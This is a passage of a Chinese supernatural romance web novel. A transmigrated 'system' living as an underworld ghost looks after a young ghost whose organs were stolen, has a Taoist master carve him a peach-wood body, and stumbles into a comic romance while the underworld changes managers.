秦靖是没办法一整天跟没事干的鬼待在一起的,他得上班,他们的手机是地府统一发放的,最初的本意只是用来工作联络,但发展到后来这方面作用反倒是小了,更多的是休闲娱乐用来打发时间,但他也彻底放弃了自己手机的使用权把手机留给邝松云让他一次性玩到吐,一次性上了三天班连家都没回换来一个两天连着的假期,他上班上的脑袋都发懵,按了按鼻梁慢慢往家走,正走到回家的必经之路的时候看见了个熟悉的身影。 他不是很确定,仔细看了几秒确定就是不好好待在家里面的邝松云,只见他左看看又看看,像做鬼一样慢慢走到一个坐轮椅老太太旁边,也不太明白这邝松云又在干嘛,干脆站在不远处盯着看。 坐轮椅的老太太被卡在那里没法动,邝松云立马过去使出了吃奶的劲也没帮老太太把轮椅弄出来,用劲用的脸红脖子粗轮椅纹丝不动最后只好叉着腰站在那继续低头跟老太太说话。 只见老太太颤颤巍巍的被扶起来站在一边,等邝松云把轮椅拽出来放在平地上才坐上去,他又低头跟老太太说了什么,推着轮椅准备走了。 秦靖:“……” 他并不愿意用险恶的心思去揣度一个老太太,但周围那么多壮鬼怎么不求助反倒要找个年轻的细狗帮忙,于是秦靖施施然走过去把邝松云往后一拽自己接手轮椅。 “奶奶,您住哪啊?我送您吧。” 老太太扭头一看来了个一米九几胳膊上全是肌肉的男的,跟刚才的细狗形成了特别鲜明的对比,立马瞪大眼睛不说话了。 秦靖见此场景再次询问,“奶奶您住哪?” 抓在轮椅上的手上全是青筋看起来能一拳打死一个老太太,老太太嘴唇抖了抖给出一个地址。 邝松云很不满意自己的活被抢了,“我能推的动。” “谁刚才连个轮椅都拽不出来?”秦靖带点嘲笑的意思看他。 “那是力的方向不对,正好卡住没办法。” “嗯嗯你说得对。” 秦靖只是推了这个老太太走了不到五十米,就有个男鬼立马扑出来大喊,“妈!你怎么在这儿啊?” 老太太立马扭头对秦靖开口,“哎呀小伙子谢谢你啊,我儿子来了就不麻烦你了,你真是热心的好鬼啊!!”她说完还伸出皱巴巴的手给秦靖比了个大拇指。 秦靖松开轮椅意味不明的笑了下,“下次不要卡着了,不然谁知道哪个来救你。” 老太太和男鬼连连答应,然后那个男鬼像是飞一样推着轮椅走了。 邝松云诶了声指着男鬼正要说点什么就被秦靖直接捂住嘴巴不让他说话,目送了着两个鬼离开他才松手没好气的看了邝松云一眼往家的方向走,邝松云追上来,“那男的刚才就在我旁边站着!那他刚才怎么看着他妈卡在那啊?他骗我啊?” “你说呢。”秦靖看他一眼,“你别玩手机了,看点有用的,去下载点防骗视频看一看,今天要不是我看见了估计你都被噶了。” “不是?”邝松云看起来特别不理解,“他为什么找我骗啊?你那个同事也找我骗,这老太太也找我骗,我看起来很好骗吗??” “你说呢。”秦靖又看了他一眼撸起袖子给他看自己胳膊上的肌肉,“你把你袖子撩起来看看就知道老太太为什么找你骗了,你再照照镜子,一脸学生样还年轻,不骗你骗谁啊。” “每天新来的鬼都会被骗几个,可能因为你看起来格外好骗,招骗体质自己小心吧,鬼都在说鬼话。” 邝松云紧紧绷着脸看起来有点悲愤,怀着点微弱的期翼询问,“我还能长对吗?” “不能。”秦靖毫不留情击碎,“死的时候什么样这辈子就是什么样了。” “那你死的时候就是这样?”邝松云缓缓睁大眼撸起袖子做了个炫耀肌肉的姿势,“你怎么死的啊?” 他怎么知道,秦靖暗自腹议,死的是秦靖又不是他,他一个系统又不会死,这问题于常鬼来说有点冒犯,但死的不是他他被问这种问题也没感到什么冒犯,在脑子里找了半天记忆才开口: “自杀。” “自杀?”邝松云嘴巴张的大大的。 “嗯。”秦靖从他特别久远的记忆里扒拉出来也觉得有点唏嘘,“我早死了七八十年了,那会儿办案技术不发达,没有什么技术,口角纷争邻居把我妈杀了,我长大又把邻居一家给杀了,然后就自杀了。” 邝松云现在嘴巴大的像是能塞下一颗鸵鸟蛋。 秦靖仔细分辨了下他的表情,同情有、敬佩也有还有点唏嘘,然后就带着这副表情继续用有点期待的目光看他。 这表情太熟悉,每次想玩手机又不好意思开口的时候就用这副表情来看他。 秦靖:“……你要玩手机?” “不是,我问了你你怎么不问问我啊?” 秦靖慢慢吸了口气,“好——你怎么死的?还有你以后出去别问别的鬼是怎么死的,这对鬼来说是很私密的事情,人家有的鬼不愿意说这个,你别乱问。” 邝松云眼里有了点泪,很凄惨的开口,“我被车撞了。” 秦靖:“?” 他上下打量了一圈也没看出有哪里像是车祸死亡的,很怀疑的开口,“内出血?里面骨头骨折把脏器扎到了?” “我不是车祸死的。”邝松云眼泪直掉,然后撩起自己的衣服给他看肚皮,一直被衣服遮挡着的地方有一条长长的被很粗糙缝合住的伤疤,他伸手一按,肚皮就深深的凹陷下去,好像里面什么都没有是空的。 秦靖:“?” “你高考完打暑假工被骗到缅甸去了?” “……”邝松云似乎觉得秦靖真心实意的猜测是一种玩笑,用含着泪的眼睛瞪了他一眼,“应该是有人故意撞我,然后被假救护车给拉走了。” 秦靖顿时觉得邝松云实在是倒霉透了,当人被人盯上,成了鬼下来又被鬼给盯上卯足劲的薅羊毛。 说他是替死鬼还真没说错,当人是当鬼都是。 “所以我老觉得饿。”邝松云说,“我的肚子总是空空的,我不赚钱吃什么呢,可我一想赚钱就有鬼来骗我。” 秦靖实在没招了,之前不论碰上多么难缠的宿主、在任务失败多次后他都没像现在这样没招过。 他深深吐出口气。 “你以后跟着我。” 第95章 第九十五章 当爹当妈 秦靖很快打了趟报告往人间跑了一次, 采购了一堆酸甜辣咸各种好保存的食物,还买了把锁专门用来防邝松云的无底洞肚子,他出去一次也不容易, 就是拿回来给他偶尔尝味儿压一压因为肚子空空的那种飘忽的感觉。 眼看马上到七月半,最近火车也彻底停运开始整顿已经在地府里的鬼,等鬼门开的那天他们会一天多次往返, 有很多在死掉的时候没能进来的鬼会趁鬼门打开的时候来这儿,可见当天的工作量会有多大。 一伙鬼最近几天好容易没事干就凑一起开始吃喝, 在这儿干的具体年纪不得而知,但至少从外表看都是年轻人, 长居地府谈恋爱有家属的也不少, 干脆也都一起带来。 杨正明来来回回搬吃的, 远远看见跟在秦靖身后的邝松云立马凑上来挤眉弄眼的撞秦靖的肩膀, “这谁啊?” 秦靖思考了几秒毫不犹豫, “我是他爹。” 杨正明撇了下嘴显然觉得他在口嗨, 说了句得了吧就先去忙自己的。 邝松云跟在后面幽幽开口,“你为什么要说你是我爹?” 他们这个年纪好朋友之间互相口嗨当对方爸爸是常事, 但秦靖不是他的朋友,他天天吃鬼嘴短也不可能回嘴说他才是秦靖的爸爸。 秦靖回头看他一眼又扭回去, “除了你爹谁还养着你。” 邝松云很不服气的故意开口,“还有妈。” 他这么说就是赌秦靖不可能说他是他妈, 结果万万没想到秦靖居然真的说得出口。 “行,我当爹当妈。” 秦靖对这个无所谓, 他本来就是个系统不算真正意义上的男性,要是现在回炉重造捏个属于女性的身体住进去也不是不行。 但邝松云显然被震撼到甘拜下风,立马不吭声了。 秦靖带着他坐在那里打了一路招呼,也迎接了不少跟杨正明一样的问题, 不过他也没再说什么是邝松云爹妈的话,直接含糊过去了,毫不意外的受到了一堆他们懂得的眼神。 眼前摆的东西都很常规,瓜子饮料,没什么特别出彩特别的小吃,但就这些已经是地府很难见的吃食,不是必须的物品更何况也没有鬼能随便跑出去往回买这些东西。 秦靖伸手抓了把瓜子让他磕,又拆袋子里的一次性纸杯,“要喝哪个?” 邝松云在那里专注的磕瓜子,确保让每一颗瓜子都不在同一个地方被磕开,“可乐。” 秦靖去拿可乐,“你这嗑瓜子有什么讲究么?” 邝松云对着一群不认识的鬼看起来有点拘谨,思考了一会儿才反应过来秦靖问的是什么,然后呲开牙给他看,“我的牙齐不齐?” 又齐又白,每一颗大小一摸一样特别均衡的在嘴里待着,甚至整齐的像是假牙,“齐。” 邝松云很得意的哼哼了两声,“我妈爱嗑瓜子,老在一个地方磕,磕来磕去在牙上磕出一个小凹槽,有的时候还会磕在牙缝上,结果就大了。” “哦。”秦靖把可乐放在他面前,“我还以为你可乐喝多了牙不行不能一直在同一个地方磕。”他说完想到那种锯齿状的牙齿先把自己逗笑了,“你妈在一颗牙上磕出一个凹槽,你在每个牙上都磕出一个凹槽。” 邝松云嘴里含着瓜子都没给出什么反应旁边的鬼全都笑成一团。 “哎呀我去,你还这么逗乐啊?” 杨正明把最后那点东西拿过来坐在给他留好的位置,“从我认识秦子就这样,这叫初心未变。” 秦靖也跟着笑了几下,只不过现在笑成一团的鬼并不清楚眼前的鬼换了个芯子,还说跟以前一样一点没变,他安静了几秒,思考了下自己有这么贴秦靖这个鬼的皮么? 不过这并不重要,一群鬼笑完了也就把这个话题揭过一边天南海北的聊,邝松云在里面显得尤为安静,想吃什么全靠拽秦靖的袖子,他一点点投喂了不少,顺手往下摸了摸他依旧空空如也的肚子,“还觉得饿?” 邝松云也知道这是提醒他不要一点没有节制的吃下去,于是摇摇头不打算再继续了。 杨正明一看邝松云不说话只拽秦靖的袖子就开始笑,“这么依赖秦子呢?我就说么,你小子什么时候好心成那样,那天还专门留下来。” 杨正明算是这群鬼里面见邝松云见的多的,稍微知道点秦靖对邝松云挺不寻常的。 周围鬼闻言八卦之心熊熊燃烧,“不是发生什么了啊?给我们讲讲。” 杨正明不是特别确定秦靖的态度,闻言先看了眼秦靖见他没什么反对制止的意思的才一脸夸张的开口,“你们不知道,前段时间秦子在检查坐过站的鬼的时候就把他给捞起来了,然后还亲自带着出去亲力亲为,我当时还纳闷怎么这么好心。” 女鬼笑着称赞了句,“确实俊。” 一堆鬼齐齐看向他邝松云只觉得像是过年被七大姑八大姨围着问候,他更社恐了,特别尴尬的笑了笑再次往秦靖身后缩,一堆鬼见他这样也不再继续逗了,又开始聊他们自己的。 秦靖不太参与到话题里面,也很安静的吃着东西,就感觉到自己的袖子又被拽了拽,于是低头看了邝松云一眼,“嗯?” “我还想吃。”邝松云声音很小,为了让他能听清凑的有点近。 秦靖伸手给他倒了杯饮料,“喝点碳酸饮料试试,看能不能饱。” 之前说话的那个女鬼抬抬下巴,“饿死鬼啊?” “不是。”秦靖否认了句没继续开口,他不打算在未经同意之前把别人到底怎么回事说出去,邝松云很不在意的开口了。 “不是,就是我被掏空了,总觉得空空荡荡的,老是会饿。” 女鬼哎呀了声,眼神里难□□露出一点同情,“我还说要是饿死鬼老饿的话我没准能帮个忙,这种情况就不太清楚了。” 秦靖想了下,“能不能出去找个天师从他的尸体那想想办法,填满什么的,直接从根源解决问题。” “那怎么出去啊?”杨正明问。 “不是马上七月半,上面不是说要派几个去鬼门那守着,到时候趁这天出去也不是不行吧。” “七月半外面乱成那样?那你出去当天肯定回不来,到时候万一被知道了又是一堆事。” 秦靖倒是不怕这个,按照剧情里说的他本来就该被发现然后进入新管理者的视野,但现在旧管理者还在,剧情里也没说明白到底是什么时候换了管理者,他也只能走一步看一步。 …… 他们休息了两天很快就到了七月半,一年一度开鬼门的时候到处都忙,各种鬼都被安排在各个地方,而秦靖本来被安排在了月半镇又跟别的鬼换了位置到了鬼门。 秦靖直接让449给邝松云设了个保护罩,“你就待在这儿不要乱跑,今天鬼门开一年一次,往地府跑的鬼有特别疯的,被误伤杀了都说不清理。” 邝松云觉得自己空荡荡的在漏风,“那咱们什么时候出去?” “等鬼门要关的时候出去,今天不回地府了。” 他数着点数,鬼门已经稍微打开可以看到外面迫不及待想进来的鬼魂,甚至有的已经在撕打。 这么多鬼进地府不为别的,进来可能投不了胎,但有鬼管死的绝对比外面慢。 眼见着鬼门马上开到能供鬼挤进来的大小秦靖赶紧站在一边给这群疯狂的鬼让开位置。 不是所有鬼都能进来,鬼门前一道拦着的门就足够拦下一些鬼魂,鬼门近在咫尺可哪怕在这里耗一夜都不见得能穿过。 他没有特意去看外面,只是扫了眼觉得外面的场景很像在479那次,于是就不再看凑到邝松云身边跟他说话,“你知道你埋在哪么?” “烧成灰埋了。” 秦靖想了下知道八字应该也行,于是点点头跟449开口,“那个天师府你弄好了么。” 【你放心!】449拍胸脯保证,【咱们局里的挂你就放心吧,绝对好使,你进去直接找人使唤就行,他们包看不出你是鬼的。】 996在局里干了那么长时间当然清楚总局的外挂确实牛逼,于是不再继续想这个,偶尔掏出手机看一看时间估算着,差不多在鬼门关闭的前四十分钟,专门建的工作群直接炸锅了。 【杨正明:@所有鬼 被安排到其他地方的鬼如果手上的活不算要紧立马往鬼门走,现在已经在鬼门的出去把聚集的鬼给驱散掉准备关闭鬼门,王真出现了。】 鬼门大开,无数鬼都被这股力量吸引着过来,成千上万数不清的鬼都聚集在这里,这个时候如果有些鬼想趁机作乱吞噬掉别的鬼来增加自身的力量就是最好的时机,最好的解决办法就是先驱散再关闭鬼门,这里没有鬼门的吸引自然而然就会散掉。 不过管理者并不放心把他们也放出去,再多的手段也只是防守,王真占据了一部分的主动权。 秦靖隐隐约约有感觉新旧管理者的更迭可能就是跟这件事有关,立马关闭鬼门的命令被刻意拖延迟缓了好几分钟,直到其余鬼陆陆续续赶来才准备开始驱散。 但显然就是这几分钟失去了先机。 第96章 第九十六章 冲脸炮 李天师头发花白上面扎着个小辫, 捻着胡子看了半天邝松云,“身体没有?” 邝松云:“烧成灰不知道埋哪了。” 他又想了会儿,“不知道自己几点出生的?” “不知道。”邝松云摇头, “没问过爸妈。” “什么都没有就得等等了。”李天师说,“得用木头重新做身体,画符做出内脏放好, 主要还是木头不好找——得要两百年以上的桃木,桃木属阳, 做身体正好。” 秦靖:“我们要是弄来木头什么时候能做好?” 李天师不大犹豫,“快半天, 慢一天也就好了。” “行。”秦靖点点头, “我们一会儿就回来。” 他带着邝松云往外走, 拿起手机跟杨正明打电话, “现在怎么样了?” “你现在是不用着急回了, 这儿乱成一锅粥了, 但你也别回来太晚,管理者是因为王真被撸了可万一新来的新官上任三把火找典型你不就撞枪口上了?” 秦靖应了杨正明的好意就挂断电话, 把邝松云安置在旁边的饭店里点了一桌子菜,“你就在这儿吃饭, 最迟中午前我就回来。” 他稍微等了一会儿第一个菜先上来能把鬼缠住就准备走,邝松云就叫住他, “你不吃一点?” “不吃。”秦靖说,“我有点别的事, 你自己慢慢吃。” 邝松云又眼泪汪汪了。 秦靖:“?” “你对我真好,你真是个好人。”邝松云说,“谢谢你。” 【滴——好人卡。】449还在一边特别贱的配音。 秦靖:“……” 秦靖干巴巴笑了几声,“知道了, 你吃你的。” 他又准备走了,结果邝松云再次给他拉住,这次扭扭捏捏,“那个……那什么——” “什么?” “我其实可以弯一下的。”邝松云在那里对手指,“你真对我有那种意思啊?我成年了。” 秦靖:“?” 他有点震惊,那天一起吃东西那群同事起了半天哄他后来还想为什么邝松云一点别的反应也没有,结果是回去自己思考了几天得出已成年可以弯的结论? 邝松云握住筷子抬头看他,“屁股不止可以用来拉屎啊,况且我没有这种东西,特别干净。” 秦靖感觉自己有点偏头疼,对邝松云的话一点都不知道要回答什么,对方却似乎已经笃定了要这么干,还朝秦靖招招手。 他觉得任务对象招手的这一幕异常熟悉,但放在自己身上又一时半会儿想不起来到底在哪里见过这种场景,脑子正在思考身体已经下意识靠过去了,然后就得到了特别响的一个冲脸炮。 秦靖:“?” 他终于想起来了,他哪个宿主就是这么被任务对象给亲了一口来着,他的脑子很模糊,甚至怀疑自己是不是运转中心过载发热导致现在脑子短路什么都想不起来,秦靖就那么待在那里木了会儿有点明白为什么上一个宿主反应那么大说他们是鸭子店了。 他的余光可以看到邝松云对着他的脸很不明所以的眨了几下眼,然后缓缓的又叭叭叭的冲他脸上放了三个冲脸炮,“可以了吗?” 秦靖内心已经万马奔腾,脸上还是异常淡定的嗯了声又说了声要走了才同手同脚的离开,449在他的脑海中爆发了像是海啸一般的笑声,恨不得把运转中心的零件直接给笑炸了。 当然,秦靖直接在脑海中将自己的系统形态变出来开始跟449互殴。 两个系统都鼻青脸肿的休战了。 【你干嘛去?】449脸肿着,说话含糊不清,甚至在说了一长串话后需要吸溜吸溜口水,【吸溜——你干嘛去,说哈啊!】 秦靖也没好到哪里去,只是不像449那样直观的表现在外面,“找王真取经,我不也得跑,问问路线,问问经验,站在巨人的肩膀上跑好跑。” 449:【……】 * 王真现在大不一样了,在地府里管理者限制着他们的一切,虽然看似有所谓优厚的待遇实则每天都在等死,能明确感知到自己的魂体一点点消散的滋味也并不好受,像是身上有一个洞一直在不断的向外流失,而他们明明有能力将其堵住却被限制着只好眼睁睁看着。 “你反正也出来了直接跑呗?”王真背着一大包辣条在那里吃了一包又一包,“现在这么乱不趁现在跑你还要回去啊?” “那这玩意儿怎么办?”秦靖抬起胳膊给他看自己手腕上的那个手环。 王真也给他看依旧好好待在手腕上的东西,“我跟你说,你别怕它,只要他们发现的晚你就有时间发育,跑出来这儿打一枪那打一炮,他也不可能漫天遍野的找你,拿你没辙,你出来你就发育,这玩意儿也就能限制限制咱们消散了半天魂体的弱鸡状态了,你出来发育好了你看他能弄死你?他要能弄死我我现在怎么可能在这儿坐着。” 说的是有道理,但秦靖该跑也不是现在这种时候,所以他也没说话,王真吃完一包辣条立马开了下一包,塞了一嘴含糊不清的跟他开口,“我跟你说,那管理者就不是个玩意儿,凭什么抓咱们一天天打工啊,他怎么不去抓那种发疯的恶鬼来抓咱们,不就是挑软柿子捏吗?” 王真说的是对的,人生前有怨气有可能会在死后化为恶鬼,但恶鬼也分级别,被抓回来打工的大部分其实是秦靖这种,那种穷凶极恶的他们反倒不敢招惹,因为地府在名义上是拥有对所有鬼魂的处置权,这么干也没人能说他们的不是。 “我跟你说,上一个管理者活该,我本来还没打算闹这么大,结果正好赶上他要调职,这不——还想调职呢?直接从天到地从头再来吧。” “新来的管理者他肯定要改现在的制度,这种制度在上一个管理者那出了事那就不可能安稳的维系下去。” 王真撇嘴,“所以你的意思是想留下来看一看,要是改的好就不走?” 是他不想走么,秦靖暗自腹议,是剧情走向不让他走。 “不是,我的意思是,看新来的管理者有没有什么漏洞,能不能利用漏洞什么的先出来发育发育,等有能力兜底了再出来,要是像你这样就是赌个概率,运气不好直接没。” 王真并不以为然,“我死了快八百年了什么亲近的都没,大不了就是失败提前死呗,我没记错你家里也没人了吧?”但他说完这个又直起腰挑挑眉,“诶——那群我还没退呢,我听说上次吃饭你带了个俊俏小男鬼过去啊。” “是。”秦靖变了个姿势用手托了下脸。 “十八岁?”王真眼里燃烧着熊熊的八卦之火。 “是。”虽然秦靖一直知道邝松云十八岁,但被这么刻意挤眉弄眼的说出来还是觉得有点久违的尴尬,他直觉王真下一句不放好屁,正想提前制止他让他不要再继续说话,没想到王真的嘴更快: “哎呦喂!我以前怎么没发现你这么不要脸啊,人家十八,你都能当人太爷爷祖宗了吧?” 虽然按照秦靖的年龄这么说是带有夸张色彩,但在总局不知道做了多少年任务的996确实能当邝松云祖宗了,王真是带着夸张手法的开玩笑,丝毫不知道换了芯子的人已经被内涵到了。 秦靖:“……” 秦靖稍微擦了下额头上的并不存在的汗,“好了,今天的聊天到此结束我们还能愉快的做朋友,你要是再提年龄就真的不礼貌了。” 回应他的是王真放肆的笑容。 * 秦靖跟王真告别后并不着急,虽然现在外面温度很高,但他一个鬼一点热意都感觉不到反倒很凉爽,这么走在路边好一会儿停在那俩准备打车了。 现在将近中午,正是人流量和车最多的时候,手机上叫到的司机很快就停在路边等秦靖上车后核对手机号再次启程。 449本来以为宿主是去找木头,没想到越走越觉得现在的路很熟悉,眼见着马上到了秦靖应允的该回去的时间对方却依旧不慌不忙没有一点要去找木头的意思,449都为他感到头大,【你不找木头打了车要直接回去??】 只是秦靖接下来的话却让449大跌眼镜,“你找。” 449瞬间开始怀疑自己的耳朵是不是在今天互殴的时候被秦靖给打聋了,要么就是自己的处理中心被秦靖给打坏了,要么它怎么能听见秦靖这种梦到什么说什么的话,【?你说什么。】 “你找,我也当过系统知道找得到,完美的系统要在合适的时候为宿主解忧。” 449:【……】 449:【这对吗?】 “这对。”秦靖说,“就当你打我给我的精神损失费。” 449:【?】 449被整笑了,无数次感慨自己从前果然还是把996想的太好了,果然只有密切相处后才能察觉它的无耻!跟它在总局一直竞争你追我赶的能是什么好东西!它就不该为了嘲笑996接下这个当它系统的任务!!! 449发出愤怒的咆哮: 【咱俩是互殴!!!】 第97章 第九十七章 身体 桃木好端端的放在桌子上, 捉妖的天师现在化作了木匠开始雕刻那个桃木,桌上地下被刨出一堆木屑,李天师时不时拿起木头跟邝松云比一比再次埋头雕刻。 邝松云嘀嘀咕咕的跟他说话, 雕刻的过程太过枯燥复杂,两个鬼谁都没把视线过多的放在上面,没想到只过了不到半个小时, 李天师一声刻好了就把两人的视线给召唤回去了。 先露出来的是脑袋,刻的栩栩如生又精细又好看, 不像是个拿来做身体最后要烧掉的东西反倒像是什么工艺品。 随着视线往下移,两个人都被震撼住了。 剩下的地方像是美术生画了一个极其牛逼的马脑袋最后因为时间不够画了四条火柴棍当腿一样潦草又荒谬。 秦靖:“?” 邝松云:“?” 李天师对上两人疑惑的目光神态自若的解释, “这娃娃长得俊, 脸得好好刻, 其余地方无所谓了。” 桌子上的木屑被清理干净, 木头人再次放上去, 这次直接从腹部切了一块下来又把里面掏空放在那里等一会儿继续用。 一个个看起来很粗糙的木头心、肝各种器官上面被写上了名字和八字又被挨个组装回去, 最后一开始被切下来的盖子被放回原位又用胶糊好,“如何?” 邝松云竖起大拇指, “比木匠还牛。” “那是。”李天师再次捋了捋自己的胡子,又把胶水沾了上去哎呦了几声擦干净才继续回话, “当天师可不容易,得会画画, 会当木匠,会写字, 会拳脚,体力好打得过鬼打不过还能跑得过鬼,还得识字有文化,十八般武艺也得样样精通。” 李天师说完这个不墨迹, 直接把沉甸甸的木头人递给秦靖,“抱着这个跟我出去,现在它就是邝松云,要把它当邝松云的尸体再送一次葬,到时候烧了自己把灰带好,这肚子肯定就不空了。” …… 送葬过程并不繁复,而是简略版的,只在这么一个不算大的院子就把所有的流程做完结束,剩下的重头戏在李天师几个徒弟的超度法事上面,这几个人念念有词着秦靖听不懂的话,李天师开口,“听不懂不要紧,外行人听不懂正常,你直接把手放他肚子上感受感受,记得用点力按着。” 秦靖听了这话准备把手放在肚子上,邝松云却把衣服撩起一个角,两鬼眼巴巴对视一眼。 秦靖:“?你撩起衣服干什么。” 邝松云:“我以为你要这样摸啊。” 他很无辜但又理直气壮,“这样摸肯定比隔着衣服摸明显。” 秦靖不觉得薄薄一层衣服能挡住什么,但还是伸手落在了腹部那道疤痕上面,两个鬼目光都停在院子中间正被烧的木头人身上,手上的感觉一时半会儿并不明晰,但随着木头人燃烧进度的增加,扁扁的朝里凹陷的肚皮似乎充盈起来,也变得光滑起来,薄的几乎像个纸片一样的鬼也慢慢有了厚度和重量,一直以来有点像纸扎人的邝松云总算像其他鬼一样有了点样子。 他对上邝松云的视线,看出了里面那点难受和委屈,正准备开口宽慰宽慰,邝松云就皱着眉开口了: “不行,有了内脏中午吃太多了,好撑,想吐……” 秦靖:“???” …… 没有内脏被掏空的鬼像是无底洞能容纳无穷无尽的东西,突然有了内脏之前吃进去的就开始加倍反噬了起来,邝松云实在不行,想吐吐不出来,不吐又很难受,只好蹲在树底下酝酿半天干呕了几次把现在来说负荷过于重的东西全吐出来。 邝松云的睫毛上沾着生理泪水,眼睛和鼻子都红红的,额头上因为用力爆出青筋和汗,有点过分不正常的红,过了好一会儿才双腿打颤虚弱的站起来了,“我要死了,差点成了撑死鬼……” 就算吐完现在那颗肚子特别引人注目,秦靖怀疑他是不是会直接炸掉,现在邝松云一只手扶着树干一只手扶着后腰站在那里直哼哼,秦靖只好撩起他的衣服看,“这怎么办?” 李天师拿了一板药过来递给他,“这个。” 秦靖以为是什么天师府的灵丹妙药,翻过来一看背面的字——消食片。 秦靖:“?” 李天师:“吃完消食片带着他慢慢溜达,把饭消化消化就好了,以后不要折磨自己的胃了。” 消食片就是辅助手段,溜达完也不能立竿见影,秦靖现在觉得自己在扶着一个走不动道的老人,自己现在就是拐杖,邝松云一被撑的难受就要跟他哼哼,哼哼完还要抓紧秦靖的手。 “我不能走了,再走真要吐了……”邝松云说完就朝秦靖伸手,“给我找个凳子,要有靠背的。” 秦靖很无奈的找椅子让他坐下,邝松云就像是一滩烂泥一样的摊在椅子上继续哼哼,手在肚子上勉强揉了几下,“你就不能给我揉一揉吗?” 秦靖一瞬间大为震惊,不太明白为什么前段时间还为吃自己喝自己住自己而感到特别不好意思而尝试做一点家务什么来报答秦靖的邝松云现在怎么会这么放肆又理直气壮,但常言道,一边气势起来了另一边气势就弱了,秦靖又看着他那个像小山一样的肚子觉得十分可怖,于是也干脆利落的伸手去帮他揉。 被揉了会儿邝松云说话也有力气了,垂着脑袋看了半天自己肚皮上的那只骨节分明的好看的手,本来还在欣赏,欣赏了一会儿就直接伸手摸了上去。 秦靖:“?” 秦靖狐疑的看他一眼,“不揉了?” “不是,我就摸一摸?” 秦靖极度震惊,“你摸我的手?” 邝松云看着他震惊的表情也很震惊,“我怎么不能摸?” “不是你摸我的手?”秦靖准备把手抽走又被拽住,邝松云瞪大眼睛用双手死死拽住他,“你拿走干什么?” 秦靖:“?” “这是我的手!我拿走就拿走。” “我是你老婆我摸一摸你的手怎么了!” 秦靖听着邝松云理直气壮的声音缓缓裂开了,每一个字都能听懂,但连在一起到底是什么意思,“你什么时候成我老婆了?” 邝松云脑袋上也冒出一个大大的问号,用看渣男的眼神看他,“我都亲你了,难道非要亲嘴才算么。” 秦靖神情恍恍惚惚,邝松云朝他脸上特别使劲的三个冲脸炮好像再次回到眼前,脸就突然被对方使劲捏住对准嘴巴就叭叭叭特别使劲的来了三下。 这单纯就是四瓣嘴唇在打架,或者说对方那两瓣嘴唇在单方面的霸凌秦靖的嘴,刚十八的年轻人饶是死了一次还是年轻气盛的年纪,想做什么不带有任何犹豫,冲上来就是干亲了那三下把秦靖亲傻了特别不满意,再次凑上去叭的亲了下重新摊回椅子上躺尸。 大脑宕机的秦靖终于缓缓的回神了。 所以他现在使唤他使唤的这么得劲是因为他在秦靖不算知情的情况下当了秦靖的老婆翻身农奴把歌唱了? 虽然这么比喻不太恰当,秦靖也没让邝松云当过农奴,总之大概意思他明白就行。 他的大脑现在转的还不算快,于是下意识重复之前的动作,手继续在肚子上揉来揉去,秦靖视线飘忽了好一会儿。 他是系统啊,跟人亲嘴真的对吗?他是来完成任务的啊,等完成任务还得回去打工,跟人亲嘴真的对吗? 只是想来想去秦靖脑子里就剩下了一个想法——邝松云果然是对他一见钟情了,不然那么亲他亲的那么顺滑又自然,他就知道他是个英俊的美系统。 可他要是跟人谈恋爱亲嘴算不算跨种族之恋,甚至都不是人跟系统而是鬼跟系统。 他这么想,脑中449似乎又很小声的骂了句神经病,要是往常他少说得跟449干一架但他现在宽宏大量不跟449计较这个。 他有点不自在,觉得自己的处理中心很热,但又后知后觉自己现在是人的身体没有属于系统的处理中心,于是伸手摸了摸自己已经失去触觉的耳朵的,烫的惊人,好像跟脸是两个互不相通的部分,他疑心已经红的不像个样子,又不好一直抓着,只好故作自然的放下手。 秦靖的目光游离了好一会儿才放到邝松云身上,却发现一直在椅子上躺尸的邝松云整个鬼早就红彤彤像个烧红的烙铁。 注意到这个的秦靖顿时就镇定下来了,本来也烧的厉害的耳朵温度奇异般的降下来,甚至还有闲情雅致去捏捏邝松云的肚子,本来就红的不像样子也在强装镇定的邝松云顿时就怒了,立马坐直瞪圆眼睛试图震慑秦靖,却不想肚皮上那只手更加变本加厉了。 两只鬼就这么大眼瞪小眼不知道都在撑什么,互相盯了一会儿一只重新摊回椅子上把手特别轻的放在眼皮上当着,一只抬头默默把手收回来翘起了二郎腿极有默契的不去看彼此。 449冷笑一声——两个小学鸡! 第98章 第九十八章 惩罚 秦靖走进监管中心的时候再次迎面碰上那那次在车上的那个鬼, 那鬼没跟他多说话只是给了一个自求多福的目光。 秦靖知道剧情里发生了什么并不算多么担心,但脸上还是做了个样子,越往里走发现今天的监管中心异常的安静。 新的管理者上来后乱了几天逐渐安静下来就开始排查地府里少了谁, 首当其冲的就是要清点他们这些恶鬼,他们个个记录在案,少了哪个一目了然, 估计今天秦靖一进来就有鬼注意到告诉了监管中心,等他走近半中心区域时已经有鬼认出他开始窃窃私语。 秦靖瞄了眼周围的工位挑了个没鬼的位置拉了把椅子直接原地坐下了, 神情极度泰然的在那里等,大概过了不到十分钟就有个穿白衣服的青年鬼出来, 一出来就一眼瞄准了秦靖。 这鬼微微笑了下, 把擦手的纸随手扔在一个工位旁边的垃圾桶里, “你是秦靖?” 秦靖打量了他不到几秒就站了起来, “是。” 这鬼跟秦靖换了个位置, 坐在了他刚才拉的椅子上面, “我听说你不是走了?怎么又回来了?” “没走,只是出去了一趟。” “出去了一趟。”青年鬼意味深长道, “嗯——出去了一趟。” 周围还在工位办公的鬼又好奇又不敢多看,时不时抬头看一下, 离得远的侧着脑袋听一下,站在那里的秦靖却不再回话了。 刚才见过他是怎么收拾鬼的都噤若寒蝉在心里暗暗叫苦, 走了个脾气冲的来了个阴险的,他们都不知道到底是哪个还算好一点。 秦靖不回话青年鬼也不生气, 竟然没发难,重新嗯了一声,“虽然回来了,但要出去也没打报告, 按擅自离开岗位罚吧,罚完了来我办公室一趟。” 众鬼都明白这么说擅自跑外面这事算是结束了,有点稀奇怎么在秦靖这儿就轻拿轻放的,但谁也摸不准这个新上司,没鬼敢多嘴只装没看见没听见。 秦靖不意外,看了眼布局有点复杂的办公室还没来得及思考,肌肉记忆就带着他往一个方向走,他走了几步觉得不对,于是问449,“你们这是给我哪找的身体?不是仿照一比一捏出来的?” 之前的每个宿主都是身穿,用的是自己的身体,他一个系统没身体靠捏,当然是一具全新的属于他的身体,那刚才的肌肉记忆又是怎么回事,难不成局里偷懒直接让他顶号上了秦靖的身体? 449看了他一眼,【捏的啊,你又没自己的身体,你怀疑局里顶号?谁干那缺德事,你干这么久什么时候见过直接顶号的。】 